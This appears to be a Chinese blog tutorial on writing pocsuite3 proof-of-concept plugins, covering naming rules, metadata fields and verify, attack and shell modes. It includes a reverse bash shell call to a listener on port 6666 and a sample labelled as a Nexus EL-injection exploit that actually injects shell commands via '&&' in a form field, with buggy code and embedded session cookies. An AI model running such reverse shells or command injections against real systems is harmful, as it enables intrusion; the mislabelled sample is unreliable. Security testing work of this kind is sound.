? PoC 命名分成3个部分组成漏洞应用名—版本号—漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_
DemoPOC
,继承自PoCBase
类.
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = ‘1571‘ # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = ‘1‘ #默认为1
author = ‘seebug‘ # PoC作者的大名
vulDate = ‘2014-10-16‘ #漏洞公开的时间,不知道就写今天
createDate = ‘2014-10-16‘# 编写 PoC 的日期
updateDate = ‘2014-10-16‘# PoC 更新的时间,默认和编写时间一样
references = [‘https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html‘]# 漏洞地址来源,0day不用写
name = ‘Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC‘# PoC 名称
appPowerLink = ‘https://www.drupal.org/‘# 漏洞厂商主页地址
appName = ‘Drupal‘# 漏洞应用名称
appVersion = ‘7.x‘# 漏洞影响版本
vulType = ‘SQL Injection‘#漏洞类型,类型参考见 漏洞类型规范表
desc = ‘‘‘
Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
可以添加管理员、造成信息泄露。
‘‘‘ # 漏洞简要描述
samples = []# 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = ‘‘‘ poc的用法描述 ‘‘‘
先导入包
from pocsuite3.api import OptString,OptDict,OptIP,OptPort,OptBool,OptInteger,OptFloat,OptItems
函数使用方法
def _options(self):
o = OrderedDict()
o["username"] = OptString(‘‘, description=‘这个poc需要用户登录,请输入登录账号‘, require=True)#require是否为必选项;‘‘默认选项
o["password"] = OptString(‘‘, description=‘这个poc需要用户密码,请输出用户密码‘, require=False)
return o
提取自定义字段
self.get_option("username")#或
payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
def _verify(self):
output = Output(self)
# 验证代码
if result: # result是返回结果
output.success(result)
else:
output.fail(‘target is not vulnerable‘)
return output
攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作.定义它的方法与检测模式类似
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量
如果该 PoC 没有攻击模式,可以在 _attack()函数下加入一句 return self._verify() 这样你就无需再写 _attack 函数了。
pocsuite3 在 shell 模式 会默认监听6666
端口, 编写对应的攻击代码,让目标执行反向连接 运行pocsuite3 系统IP的 6666
端口即可得到一个shell
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# 攻击代码 execute cmd
shell模式下,只能运行单个PoC脚本,控制台会进入shell交互模式执行命令及输出
如果你需要编写一个可以交互参数的poc文件(例如有的poc脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在poc文件中声明一个_options
方法。一个简单的例子如下
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString
class DemoPOC(POCBase):
vulID = ‘00000‘ # ssvid
version = ‘1.0‘
author = [‘knownsec.com‘]
vulDate = ‘2019-2-26‘
createDate = ‘2019-2-26‘
updateDate = ‘2019-2-25‘
references = [‘‘]
name = ‘自定义命令参数登录例子‘
appPowerLink = ‘http://www.knownsec.com/‘
appName = ‘test‘
appVersion = ‘test‘
vulType = VUL_TYPE.XSS
desc = ‘‘‘这个例子说明了你可以使用console模式设置一些参数或者使用命令中的‘--‘来设置自定义的参数‘‘‘
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
o["username"] = OptString(‘‘, description=‘这个poc需要用户登录,请输入登录账号‘, require=True)
o["password"] = OptString(‘‘, description=‘这个poc需要用户密码,请输出用户密码‘, require=False)
return o
def _verify(self):
result = {}
payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
r = requests.post(self.url, data=payload)
if r.status_code == 200:
result[‘VerifyInfo‘] = {}
result[‘VerifyInfo‘][‘URL‘] = self.url
result[‘VerifyInfo‘][‘Postdata‘] = payload
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘target is not vulnerable‘)
return output
register_poc(DemoPOC)
requests应用例子
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from pocsuite3.api import Output
from pocsuite3.api import POCBase
from pocsuite3.api import requests
from pocsuite3.api import OptString
from pocsuite3.api import register_poc
from pocsuite3.api import POC_CATEGORY
class DemoPOC(POCBase):
vulID = ‘97809‘ # ssvid
version = ‘1.0‘
author = [‘CTCcaozhe‘]
vulDate = ‘2020-05-26‘
createDate = ‘2020-05-26‘
updateDate = ‘2020-05-26‘
references = [‘https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204‘]
name = ‘Nexus Repository Manager 3 EL表达式注入漏洞(CVE-2020-10199、CVE-2020-10204)‘
appPowerLink = ‘https://oss.sonatype.org/‘
appName = ‘Nexus Repository Manager‘
appVersion = ‘3.6.2 版本到 3.14.0 版本‘
vulType = ‘code-exec‘
desc = ‘‘‘Nexus Repository Manager 3 是一款软件仓库,
可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,
存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。
‘‘‘
samples = [‘http://192.168.34.137:8081/‘]
install_requires = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
protocol = POC_CATEGORY.PROTOCOL.HTTP
def _options(self):
o = OrderedDict()
o["cook"] = OptString(‘portainer.LOGIN_STATE_UUID=eb8c2f19-87a5-4605-b4b3-18b9c11452c0; _ga=GA1.1.1996873860.1590378950; NX-ANTI-CSRF-TOKEN=0.3154237604464878; NXSESSIONID=3038ed03-c6c2-4eec-875d-2fc75e6f14ca‘, description=‘这个poc需要用户输入Cookle‘, require=True)
o["token"] = OptString(‘0.3154237604464878‘, description=‘这个poc需要用户输入TOKEN‘, require=True)
o["comm"] = OptString(‘ls‘, description=‘这个poc需要用户输入执行命令‘, require=True)
return o
def _verify(self):
result = {}
playload = ‘target=192.168.1.1+%26%26+‘+ self.get_option("comm")
get_headers = {
‘Content-Length‘: ‘34‘,
‘Content-Type‘: ‘application/x-www-form-urlencoded‘,
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36‘,
‘Connection‘:‘close‘
}
vul_url = self.url
if vul_url.endswith(‘/‘):
vul_url = vul_url[:-1]
if "http://" in vul_url:
host = vul_url[7:]
elif "https://" in vul_url:
host = vul_url[8:]
else:
host = vul_url
get_headers[‘Host‘] = host
r = requests.post(url=vul_url, data=playload, headers=get_headers)
# print(r.cookies)
print(r.text)
if r.status_code == 200:
result[‘VerifyInfo‘] = {}
result[‘VerifyInfo‘][‘URL‘] = vul_url
result[‘VerifyInfo‘][‘content‘] = r.contet
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘target is not vulnerable‘)
return output
register_poc(DemoPOC)
原文:https://www.cnblogs.com/ctccaozhe/p/13222367.html